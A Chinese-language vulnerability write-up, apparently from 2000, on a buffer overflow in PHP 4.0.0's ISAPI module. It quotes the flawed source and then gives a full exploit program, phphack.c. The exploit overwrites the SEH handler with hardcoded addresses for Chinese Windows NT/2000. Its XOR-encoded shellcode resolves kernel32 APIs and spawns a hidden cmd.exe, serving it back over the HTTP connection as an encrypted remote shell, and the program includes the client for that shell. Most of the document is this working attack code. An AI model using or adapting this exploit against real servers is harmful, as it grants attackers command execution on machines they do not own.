hp4.0.0才出来的时候,我们测试发现php4isasp.dll有缓冲溢出漏洞,下面是php4isapi.c的相关源代码: static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC) { char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE]; char *variable_buf; DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE; char *variable; char *strtok_buf = NULL; LPEXTENSION_CONTROL_BLOCK lpECB; char **p = isapi_server_variables; lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context); /* Register the standard ISAPI variables */ while (*p) { variable_len = ISAPI_SERVER_VAR_BUF_SIZE; if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len) && static_variable_buf[0]) { php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC); } else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { variable_buf = (char *) emalloc(variable_len); if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len) && variable_buf[0]) { php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC); } efree(variable_buf); } p++; } /* PHP_SELF support */ #ifdef WITH_ZEUS if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len) #else if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len) /* php4.0.0漏洞所在地,缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量 */ /* php4.0.3 已经修补 */ #endif && static_variable_buf[0]) { php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC); /* 因为形参被覆盖,而这形参又很难伪造,所以传统的溢出攻击因为这个调用不能返回而无效 但我们可以使用异常结构攻击,可以参见我的相关的文章 */ } /* Register the internal bits of ALL_HTTP */ variable_len = ISAPI_SERVER_VAR_BUF_SIZE; if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) { variable_buf = static_variable_buf; } else { if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) { variable_buf = (char *) emalloc(variable_len); if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) { efree(variable_buf); return; } } else { return; } } variable = php_strtok_r(variable_buf, "\r\n", &strtok_buf); while (variable) { char *colon = strchr(variable, ':'); if (colon) { char *value = colon+1; while (*value==' ') { value++; } *colon = 0; php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC); *colon = ':'; } variable = php_strtok_r(NULL, "\r\n", &strtok_buf); } if (variable_buf!=static_variable_buf) { efree(variable_buf); } } 因为形参的问题,采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一,可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码: /* php4.0 overflow program phphack.c ver 1.0 copy by yuange <[email protected]> 2000。08。16 */ #include <windows.h> #include <winsock.h> #include <stdio.h> #include <httpext.h> // #define DEBUG //#define RETEIPADDR eipwin2000 #define FNENDLONG 0x08 #define NOPCODE 'B' // INC EDX 0x90 #define NOPLONG 0x3c #define BUFFSIZE 0x20000 #define RETEIPADDRESS 0x900+4 #define SHELLBUFFSIZE 0x800 #define SHELLFNNUMS 9 #define DATAXORCODE 0xAA #define LOCKBIGNUM 19999999 #define LOCKBIGNUM2 13579139 #define SHELLPORT 0x1f90 //0x1f90=8080 #define WEBPORT 80 void shellcodefnlock(); void shellcodefn(char *ecb); void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len); int main(int argc, char **argv) { char *server; char *str="LoadLibraryA""\x0""CreatePipe""\x0" "CreateProcessA""\x0""CloseHandle""\x0" "PeekNamedPipe""\x0" "ReadFile""\x0""WriteFile""\x0" "Sleep""\x0" "cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0" "XORDATA""\x0" "strend"; char buff1[]="GET /default.php4"; char buff2[]=" HTTP/1.1 \nHOST:"; char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char SRLF[]="\x0d\x0a\x00\x00"; char eipjmpesp[] ="\xb7\x0e\xfa\x7f"; // push esp // ret char eipexcept[]="\xb8\x0e\xfa\x7F"; // ret char eipjmpesi[]="\x08\x88\xfa\x7F"; char eipjmpedi[]="\xbe\x8b\xfa\x7F"; char eipjmpebx[]="\x73\x67\xfa\x7F"; // push ebx // ret /* jmp ebx功能代码地址, 中文WINNT、中文WIN2000此地址固定 这是处于c_936.nls模块 win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。 */ char buff[BUFFSIZE]; char recvbuff[BUFFSIZE]; char shellcodebuff[0x1000]; struct sockaddr_in s_in2,s_in3; struct hostent *he; char *shellcodefnadd,*chkespadd; unsigned int sendpacketlong; // unsigned int i,j,k; unsigned char temp; int fd; u_short port,port1,shellcodeport; SOCKET d_ip; WSADATA wsaData; int offset=0; int xordatabegin; int lockintvar1,lockintvar2; char lockcharvar; int OVERADD=RETEIPADDRESS; int result; fprintf(stderr,"\n PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 ."); fprintf(stderr,"\n copy by yuange 2000.8.16."); fprintf(stderr,"\n wellcome to my homepage http://yuange.yeah.net ."); fprintf(stderr,"\n welcome to http://www.nsfocus.com ."); fprintf(stderr,"\n usage: %s <server> [webport] \n", argv[0]); if(argc <2){ fprintf(stderr,"\n please enter the web server:"); gets(recvbuff); for(i=0;i<strlen(recvbuff);++i){ if(recvbuff[i]!=' ') break; } server=recvbuff; if(i<strlen(recvbuff)) server+=i; /* fprintf(stderr,"\n please enter the offset(0-3):"); gets(buff); for(i=0;i<strlen(buff);++i){ if(buff[i]!=' ') break; } offset=atoi(buff+i); */ } result= WSAStartup(MAKEWORD(1, 1), &wsaData); if (result != 0) { fprintf(stderr, "Your computer was not connected " "to the Internet at the time that " "this program was launched, or you " "do not have a 32-bit " "connection to the Internet."); exit(1); } /* if(argc>2){ offset=atoi(argv[2]); } OVERADD+=offset; if(offset<0||offset>3){ fprintf(stderr,"\n offset error !offset 0 - 3 ."); gets(buff); exit(1); } */ if(argc <2){ // WSACleanup( ); // exit(1); } else server = argv[1]; for(i=0;i<strlen(server);++i){ if(server[i]!=' ') break; } if(i<strlen(server)) server+=i; for(i=0;i+3<strlen(server);++i){ if(server[i]==':'){ if(server[i+1]=='\\'||server[i+1]=='/'){ if(server[i+2]=='\\'||server[i+2]=='/'){ server+=i; server+=3; break; } } } } for(i=1;i<=strlen(server);++i){ if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0; } d_ip = inet_addr(server); if(d_ip==-1){ he = gethostbyname(server); if(!he) { WSACleanup( ); printf("\n Can't get the ip of %s !\n",server); gets(buff); exit(1); } else memcpy(&d_ip, he->h_addr, 4); } if(argc>2) port=atoi(argv[2]); else port=WEBPORT; if(port==0) port=WEBPORT; fd = socket(AF_INET, SOCK_STREAM,0); i=8000; setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i)); s_in3.sin_family = AF_INET; s_in3.sin_port = htons(port); s_in3.sin_addr.s_addr = d_ip; printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port)); if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0) { closesocket(fd); WSACleanup( ); fprintf(stderr,"\n connect err."); gets(buff); exit(1); } _asm{ mov ESI,ESP cmp ESI,ESP } _chkesp(); chkespadd=_chkesp; temp=*chkespadd; if(temp==0xe9) { ++chkespadd; i=*(int*)chkespadd; chkespadd+=i; chkespadd+=4; } shellcodefnadd=shellcodefnlock; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; k=*(int *)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4; } for(k=0;k<=0x500;++k){ if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; } memset(buff,NOPCODE,BUFFSIZE); if(argc>4){ memcpy(buff,argv[4],strlen(argv[4])); } else memcpy(buff,buff1,strlen(buff1)); // strcpy(buff,buff1); // memset(buff+strlen(buff),NOPCODE,1); memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80); // memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80); shellcodefnadd=shellcodefn; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; k=*(int *)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4; } for(k=0;k<=0x1000;++k){ if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; } memcpy(shellcodebuff,shellcodefnadd,k); //j); cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k); for(i=0;i<0x400;++i){ if(memcmp(str+i,"strend",6)==0) break; } memcpy(shellcodebuff+k,str,i); sendpacketlong=k+i; for(k=0;k<=0x200;++k){ if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break; // if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break; } for(i=0;i<sendpacketlong;++i){ temp=shellcodebuff[i]; temp^=DATAXORCODE; if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp=='\\'||temp=='0'||temp=='?'||temp=='%'){ buff[OVERADD+NOPLONG+k]='0'; // buff[NOPLONG+k]='0'; ++k; temp+=0x40; } buff[OVERADD+NOPLONG+k]=temp; // buff[NOPLONG+k]=temp; ++k; } // memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong); // k+=sendpacketlong; /* for(i=-0x30;i<0x30;i+=4){ memcpy(buff+OVERADD+i,eipexcept,4); } memcpy(buff+OVERADD+i,eipjmpesp,4); */ for(i=-40;i<0x40;i+=8){ memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4); memcpy(buff+OVERADD+i+4,eipjmpebx,4); } memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24); // fprintf(stderr,"\n offset:%d",offset); /* 192.168.8.48 if(argc>2){ server=argv[2]; if(strcmp(server,"win9x")==0){ memcpy(buff+OVERADD,eipwin9x,4); fprintf(stderr,"\n nuke win9x."); } if(strcmp(server,"winnt")==0){ memcpy(buff+OVERADD,eipwinnt,4); fprintf(stderr,"\n nuke winnt."); } } */ sendpacketlong=k+OVERADD+i+NOPLONG; //sendpacketlong=k+NOPLONG; strcpy(buff+sendpacketlong,buff2); strcpy(buff+sendpacketlong+strlen(buff2),server); sendpacketlong=strlen(buff); // buff[sendpacketlong]=0x90; strcpy(buff+sendpacketlong,"\n\n"); /* buff[sendpacketlong]=0x90; for(i=-0x30;i<0x30;i+=4){ memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4); } memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4); strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64"); strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n"); */ // printf("\n send buff:\n%s",buff); // strcpy(buff+OVERADD+NOPLONG,shellcode); sendpacketlong=strlen(buff); /* #ifdef DEBUG _asm{ lea esp,buff add esp,OVERADD ret } #endif */ if(argc>6) { if(strcmp(argv[6],"debug")==0) { _asm{ lea esp,buff add esp,OVERADD ret } } } xordatabegin=0; for(i=0;i<1;++i){ j=sendpacketlong; fprintf(stderr,"\n send packet %d bytes.",j); // fprintf(stderr,"\n sned:\n%s ",buff); send(fd,buff,j,0); k=recv(fd,recvbuff,0x1000,0); if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) { xordatabegin=1; k=-1; fprintf(stderr,"\n ok!\n"); } if(k>0){ recvbuff[k]=0; fprintf(stderr,"\n recv:\n %s",recvbuff); } } k=1; ioctlsocket(fd, FIONBIO, &k); // fprintf(stderr,"\n now begin: \n"); lockintvar1=LOCKBIGNUM2%LOCKBIGNUM; lockintvar2=lockintvar1; /* for(i=0;i<strlen(SRLF);++i){ SRLF[i]^=DATAXORCODE; } send(fd,SRLF,strlen(SRLF),0); send(fd,SRLF,strlen(SRLF),0); send(fd,SRLF,strlen(SRLF),0); */ k=1; while(k!=0){ if(k<0){ gets(buff); k=strlen(buff); memcpy(buff+k,SRLF,3); // send(fd,SRLF,strlen(SRLF),0); // fprintf(stderr,"%s",buff); for(i=0;i<k+2;++i){ lockintvar2=lockintvar2*0x100; lockintvar2=lockintvar2%LOCKBIGNUM; lockcharvar=lockintvar2%0x100; buff[i]^=lockcharvar; // DATAXORCODE; // buff[i]^=DATAXORCODE; } send(fd,buff,k+2,0); // send(fd,SRLF,strlen(SRLF),0); } k=recv(fd,buff,0x1000,0); if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) { xordatabegin=1; k=-1; } if(k>0){ // fprintf(stderr,"recv %d bytes",k); if(xordatabegin==1){ for(i=0;i<k;++i){ lockintvar1=lockintvar1*0x100; lockintvar1=lockintvar1%LOCKBIGNUM; lockcharvar=lockintvar1%0x100; buff[i]^=lockcharvar; // DATAXORCODE; } } buff[k]=0; fprintf(stderr,"%s",buff); } // if(k==0) break; } closesocket(fd); WSACleanup( ); fprintf(stderr,"\n the server close connect."); gets(buff); return(0); } void shellcodefnlock() { _asm{ nop nop nop nop nop nop nop nop _emit('.') _emit('p') _emit('h') _emit('p') _emit('4') _emit('?') jmp next getediadd: pop EDI push EDI pop ESI push ebx // ecb push ebx // call shellcodefn ret address xor ecx,ecx looplock: lodsb cmp al,cl jz shell cmp al,0x30 jz clean0 sto: xor al,DATAXORCODE stosb jmp looplock clean0: lodsb sub al,0x40 jmp sto next: call getediadd shell: NOP NOP NOP NOP NOP NOP NOP NOP } } void shellcodefn(char *ecb) { char Buff[SHELLBUFFSIZE+2]; int *except[2]; FARPROC Sleepadd; FARPROC WriteFileadd; FARPROC ReadFileadd; FARPROC PeekNamedPipeadd; FARPROC CloseHandleadd; FARPROC CreateProcessadd; FARPROC CreatePipeadd; FARPROC procloadlib; FARPROC apifnadd[1]; FARPROC procgetadd=0; FARPROC writeclient= *(int *)(ecb+0x84); FARPROC readclient = *(int *)(ecb+0x88); HCONN ConnID = *(int *)(ecb+8) ; char *stradd; int imgbase,fnbase,k,l; HANDLE libhandle; //libwsock32; STARTUPINFO siinfo; PROCESS_INFORMATION ProcessInformation; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; int lBytesRead; int lockintvar1,lockintvar2; char lockcharvar; SECURITY_ATTRIBUTES sa; _asm { jmp nextcall getstradd: pop stradd lea EDI,except mov dword ptr FS:[0],EDI } except[0]=0xffffffff; except[1]=stradd-0x07; imgbase=0x77e00000; _asm{ call getexceptretadd } for(;imgbase<0xbffa0000,procgetadd==0;){ imgbase+=0x10000; if(imgbase==0x78000000) imgbase=0xbff00000; if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){ fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; k=*(int *)(fnbase+0xc)+imgbase; if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){ libhandle=imgbase; k=imgbase+*(int *)(fnbase+0x20); for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor') { k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); k+=*(int *)(fnbase+0x10)-1; k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); procgetadd=k+imgbase; break; } } } } } //搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址 //注意这儿处理了搜索页面不在情况。 if(procgetadd==0) goto die ; for(k=1;k<SHELLFNNUMS;++k) { apifnadd[k]=procgetadd(libhandle,stradd); for(;;++stradd){ if(*(stradd)==0&&*(stradd+1)!=0) break; } ++stradd; } sa.nLength=12; sa.lpSecurityDescriptor=0; sa.bInheritHandle=TRUE; CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0); CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0); // ZeroMemory(&siinfo,sizeof(siinfo)); _asm{ lea EDI,siinfo xor eax,eax mov ecx,0x11 repnz stosd } siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; siinfo.wShowWindow = SW_HIDE; siinfo.hStdInput = hReadPipe2; siinfo.hStdOutput=hWritePipe1; siinfo.hStdError =hWritePipe1; k=0; // while(k==0) // { k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation); stradd+=8; // } PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0); k=8; writeclient(ConnID,stradd+9,&k,0); lockintvar1=LOCKBIGNUM2%LOCKBIGNUM; lockintvar2=lockintvar1; while(1) { PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0); if(lBytesRead>0) { ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if(lBytesRead>0) { for(k=0;k<lBytesRead;++k){ lockintvar2=lockintvar2*0x100; lockintvar2=lockintvar2%LOCKBIGNUM; lockcharvar=lockintvar2%0x100; Buff[k]^=lockcharvar; // DATAXORCODE; // Buff[k]^=DATAXORCODE; } writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC); } } else{ lBytesRead=SHELLBUFFSIZE; k=readclient(ConnID,Buff,&lBytesRead); if(k!=1){ k=8; WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe while(1){ Sleepadd(0x7fffffff); //僵死 } } else{ for(k=0;k<lBytesRead;++k){ lockintvar1=lockintvar1*0x100; lockintvar1=lockintvar1%LOCKBIGNUM; lockcharvar=lockintvar1%0x100; Buff[k]^=lockcharvar; // DATAXORCODE; // Buff[k]^=DATAXORCODE; } WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); // Sleepadd(1000); } } } die: goto die ; _asm{ getexceptretadd: pop eax push eax mov edi,dword ptr [stradd] mov dword ptr [edi-0x0e],eax ret errprogram: mov eax,dword ptr [esp+0x0c] add eax,0xb8 mov dword ptr [eax],0x11223344 //stradd-0xe xor eax,eax //2 ret //1 execptprogram: jmp errprogram //2 bytes stradd-7 nextcall: call getstradd //5 bytes NOP NOP NOP NOP NOP NOP NOP NOP NOP } } void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len) { int i,k; unsigned char temp; char *calladd; for(i=0;i<len;++i){ temp=shellbuff[i]; if(temp==0xe8){ k=*(int *)(shellbuff+i+1); calladd=fnadd; calladd+=k; calladd+=i; calladd+=5; if(calladd==chkesp){ shellbuff[i]=0x90; shellbuff[i+1]=0x43; // inc ebx shellbuff[i+2]=0x4b; // dec ebx shellbuff[i+3]=0x43; shellbuff[i+4]=0x4b; } } } |